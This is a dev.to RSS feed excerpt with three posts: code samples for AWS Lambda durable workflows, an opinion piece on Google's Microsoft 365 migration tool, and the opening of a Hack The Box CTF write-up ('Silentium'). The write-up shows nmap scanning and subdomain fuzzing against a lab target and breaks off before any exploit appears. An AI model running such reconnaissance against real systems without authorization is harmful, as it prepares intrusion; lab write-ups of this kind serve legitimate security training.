      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;hours&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;approval&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;approval&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;approved&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;rejected&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;by&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;approval&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;apply&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terraform-apply&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;runTerraformApply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;workspace&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;applied&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;changed&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Incident response with human escalation.&lt;/strong&gt; Auto-isolate, alert, wait for analyst confirmation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;finding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isolation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;isolate-instance&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;isolateEc2Instance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instanceId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;decision&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitForCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;wait-for-analyst&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createPagerDutyIncident&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
          &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Isolated &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instanceId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="na"&gt;details&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
          &lt;span class="nx"&gt;callbackId&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;hours&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;decision&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;decision&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terminate&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terminate&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
        &lt;span class="nf"&gt;terminateInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instanceId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;outcome&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terminated&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;restore&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;restoreInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;finding&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;instanceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;isolation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;previousSecurityGroups&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;outcome&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;restored&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Scheduled certificate rotation.&lt;/strong&gt; Check, renew, wait for DNS validation, swap.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cert&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;check-expiry&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;getCertificateDetails&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;certArn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;daysUntilExpiry&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;not_due&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;renewal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;request-renewal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;requestCertificate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;validated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitForCondition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;wait-for-validation&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;checkValidationStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;renewal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ISSUED&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;minutes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;minutes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;validated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;validation_failed&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;swap-cert&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;updateListenerCertificate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listenerArn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;renewal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;rotated&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;newCertArn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;renewal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arn&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The common thread is that these workflows are too simple for Step Functions (5-7 steps, mostly Lambda code) but too stateful for a single Lambda invocation. That's the gap durable functions fill.&lt;/p&gt;




&lt;h2&gt;
  
  
  Getting Started
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sam init  &lt;span class="c"&gt;# Choose the durable functions quick start template&lt;/span&gt;
sam &lt;span class="nb"&gt;local &lt;/span&gt;invoke  &lt;span class="c"&gt;# Test locally, including callbacks&lt;/span&gt;
sam deploy  &lt;span class="c"&gt;# Ship it&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/durable-functions.html" rel="noopener noreferrer"&gt;developer guide&lt;/a&gt; covers setup. The &lt;a href="https://www.youtube.com/watch?v=XJ80NBOwsow" rel="noopener noreferrer"&gt;re:Invent breakout session&lt;/a&gt; is worth watching for the architecture deep dive.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://aws.amazon.com/lambda/lambda-durable-functions/" rel="noopener noreferrer"&gt;Lambda Durable Functions&lt;/a&gt; | &lt;a href="https://docs.aws.amazon.com/lambda/latest/dg/durable-functions.html" rel="noopener noreferrer"&gt;Documentation&lt;/a&gt; | &lt;a href="https://aws.amazon.com/lambda/pricing/" rel="noopener noreferrer"&gt;Pricing&lt;/a&gt;&lt;/p&gt;

</description>
      <category>lambda</category>
      <category>aws</category>
      <category>serverless</category>
      <category>cloud</category>
    </item>
    <item>
      <title>The NEXT '26 Announcement That Should Worry Microsoft Has Nothing to Do With Gemini</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Wed, 29 Apr 2026 15:46:22 +0000</pubDate>
      <link>https://dev.to/lewisawe/the-next-26-announcement-that-should-worry-microsoft-has-nothing-to-do-with-gemini-294c</link>
      <guid>https://dev.to/lewisawe/the-next-26-announcement-that-should-worry-microsoft-has-nothing-to-do-with-gemini-294c</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/google-cloud-next-2026-04-22"&gt;Google Cloud NEXT Writing Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Most of the coverage from Google Cloud NEXT '26 focused on Gemini and the agentic AI push. Fair enough. But the announcement that caught my attention had nothing to do with AI models. Google launched a free, built-in migration tool that moves enterprises from Microsoft 365 to Google Workspace, and claimed it's up to five times faster than their previous migration tools.&lt;/p&gt;

&lt;p&gt;That doesn't sound exciting until you think about what it actually means.&lt;/p&gt;

&lt;h2&gt;
  
  
  Microsoft's real advantage was never the product
&lt;/h2&gt;

&lt;p&gt;Ask any IT leader why their company is still on Microsoft 365 and you'll rarely hear "because Word is better than Docs." The answer is almost always about switching costs. Years of SharePoint content, Teams workflows, and Exchange mailboxes wired into Active Directory and compliance systems. Moving off that stack is a six-to-twelve month project that nobody wants to own.&lt;/p&gt;

&lt;p&gt;Microsoft knows this. Their moat has always been the pain of leaving, not Copilot or Excel. Google just went after the moat directly.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Google actually shipped
&lt;/h2&gt;

&lt;p&gt;The new tool is called Data Import. It lives inside the Workspace Admin Console, no third-party software needed. It handles email, calendar, and contact migration from Exchange Online using parallelized transfers and what Google calls "improved algorithms" for speed.&lt;/p&gt;

&lt;p&gt;There's also a migration planning utility that estimates timelines and organizes users into speed-optimized batches. For an IT team evaluating the switch, that removes one of the first objections: "we don't even know how long this would take."&lt;/p&gt;

&lt;p&gt;No extra GCP infrastructure costs. No licensing fees for migration tools. Google is absorbing the cost of switching entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  The gap nobody's mentioning
&lt;/h2&gt;

&lt;p&gt;Here's what Data Import doesn't do yet: OneDrive, SharePoint, and Teams. Google says those are "coming soon."&lt;/p&gt;

&lt;p&gt;That's a problem. Email migration is the easy part. The real lock-in for most enterprises is in shared drives and document libraries, not email. A company with 10,000 employees and years of SharePoint content isn't switching because email migration got faster. They're switching when someone solves the file and permissions migration, and that piece isn't ready.&lt;/p&gt;

&lt;p&gt;So the "5x faster" headline is real, but it applies to the part of the migration that was already the least painful.&lt;/p&gt;

&lt;h2&gt;
  
  
  The $750M makes more sense now
&lt;/h2&gt;

&lt;p&gt;Google also announced a $750 million partner fund at NEXT '26 for consulting firms and systems integrators. The fund is officially about accelerating agentic AI deployment, not migration specifically. But paired with the migration tool, the timing tells a story.&lt;/p&gt;

&lt;p&gt;The people who decide which platform an enterprise adopts aren't usually the CTO. They're the Deloittes and Accentures who run the evaluation and implementation. Google is paying those firms to recommend and execute the switch. The migration tool handles the technical side, and the partner fund gets the right people in the room to say yes.&lt;/p&gt;

&lt;h2&gt;
  
  
  The question Google doesn't want you to ask
&lt;/h2&gt;

&lt;p&gt;If Google makes it easy to move &lt;em&gt;to&lt;/em&gt; Workspace, does that also make it easy to move &lt;em&gt;away&lt;/em&gt; from Workspace later?&lt;/p&gt;

&lt;p&gt;Data portability is a one-way pitch right now. Google built a tool to import from Microsoft, not a tool to export to Microsoft. Expected, but worth noticing. The easier Google makes it to arrive, the more you should ask what leaving looks like. Switching costs don't disappear when you change vendors. They just reset.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters
&lt;/h2&gt;

&lt;p&gt;The AI feature race between Google and Microsoft is real, but it's converging. Gemini and Copilot will keep trading benchmarks. The actual competitive battle is happening at the infrastructure and distribution layer, where switching costs and partner incentives determine which platform enterprises land on.&lt;/p&gt;

&lt;p&gt;Google figured out that winning the AI argument isn't enough if nobody can act on it. So they removed the friction and funded the people who make the recommendation. Whether the destination is worth it depends on how fast they ship the SharePoint and Teams migration. Until then, it's a strong pitch with an asterisk.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>cloudnextchallenge</category>
      <category>googlecloud</category>
    </item>
    <item>
      <title>CTF Writeup Silentium - HTB</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 26 Apr 2026 11:20:31 +0000</pubDate>
      <link>https://dev.to/lewisawe/ctf-writeup-silentium-htb-536i</link>
      <guid>https://dev.to/lewisawe/ctf-writeup-silentium-htb-536i</guid>
      <description>&lt;p&gt;This writeup details the complete attack chain for the Silentium machine, starting from a vulnerable Flowise AI instance to a privilege escalation using a recent Gogs vulnerability (CVE-2025-8110).&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Enumeration &amp;amp; Discovery
&lt;/h2&gt;

&lt;p&gt;Initial enumeration of the target IP revealed an Nginx web server redirecting to &lt;code&gt;silentium.htb&lt;/code&gt; and an open SSH port.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adding the primary domain to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;TARGET_IP&amp;gt; silentium.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  VHost Fuzzing
&lt;/h3&gt;

&lt;p&gt;Knowing we were dealing with a web application, we fuzzed for subdomains using &lt;code&gt;gobuster&lt;/code&gt; and discovered a staging environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
